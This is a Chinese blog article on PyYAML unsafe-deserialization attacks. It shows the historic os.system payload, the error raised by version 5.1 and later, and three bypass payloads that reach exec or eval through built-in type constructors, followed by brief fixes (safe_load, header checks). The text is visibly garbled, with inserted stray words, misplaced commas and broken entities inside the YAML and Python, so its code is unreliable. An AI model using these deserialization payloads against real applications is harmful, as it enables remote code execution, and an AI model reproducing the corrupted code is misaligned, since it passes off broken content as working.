PyYAML反序列化防御和旁路是怎么样的

  介绍

这篇文章将为大家详细讲解有关PyYAML反序列化防御和旁路是怎么样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

PyYAML介绍

PyYAML是Python出众的模块之一.PyYAML就是Python的一个yaml库yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。若对于Python反序列化有所了解一定会听说过它。

PyYAML历史漏洞和修复

它的反序列化漏洞使得大多数Python安全研究人员对齐记忆犹新。

当咱们使用反序列化时候会使用如下的载荷:

 ! ! Python/对象/新:os.system  [“whoami"] 

并且使用load()进行加载时PyYAML将会执行os.system (“whoami")。这样会导致命令执行,从而输出用户名。

该漏洞在5.1 +版本之中得到修复,如果依然使用历史漏洞载荷,将会得到错误提示的告警。

 while  constructing  a  Python 实例
  expected  a 类,,but  found  & lt; class  & # 39; builtin_function_or_method& # 39;比;
  “& lt;拷贝才能unicode  string>“, line  1, column  1:
  ,,,! ! python/对象/新:os.system  [“,……,
  ,,,^ 

这样因为只能反序列化部分基本类型,极大程度上缓解了反序列化漏洞带来的影响。

PyYAML绕过

当咱们回看部分基本类型时,将会注意到Python内置方法执行,eval。在手册之中有这样一段描述。

 exec 执行储存在字符串或文件中的Python语句,相比于,eval, exec可以执行更复杂的,Python 代码。

如此能够得到旁路载荷。

PayLoad1:

 import  yaml
  
  时间=payload “““
  安康;! ! python/对象/新:str
  ,,,arg游戏:,[]
  ,,,状态:! !/python tuple
  ,,,的背后,“打印(& # 39;漏洞存在& # 39;)“;
  ,,,什么;! ! python/对象/新:staticmethod
  ,,,,,arg游戏:,[0]
  ,,,,,状态:
  ,,,,,,,更新:! ! python/名称:exec
  “““
  yaml.load(载荷)
  
  回显:
  →漏洞存在

PayLoad2:

 import  yaml
  
  时间=payload “““
  ! ! python/对象/新:类型
  args才能:,“z",, ! ! python/tuple  [],, {“extend": ! ! python/名称:exec }]
  listitem才能:“打印(& # 39;漏洞存在& # 39;)“;
  “““
  yaml.load(载荷)
  
  回显:
  →漏洞存在

PayLoad3:

 import  yaml
  
  时间=payload “““
  ! ! python/对象/新:tuple 
  安康;! ! python/对象/新:map 
  安康才能;! ! python/名称:eval
  安康才能;[,打印(& # 39;漏洞存在& # 39;),)
  “““
  yaml.load(载荷)
  
  回显:
  →漏洞存在

这三种载荷均是利用基本类型之中代码执行函数,从而绕过5.1 +的防御措施。

修复方法

1,按照官方推荐使用safe_load对于序列化内容进行加载。

2,检测加载文件头防止加载代码执行函数。

关于PyYAML反序列化防御和旁路是怎么样的就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看的到。

PyYAML反序列化防御和旁路是怎么样的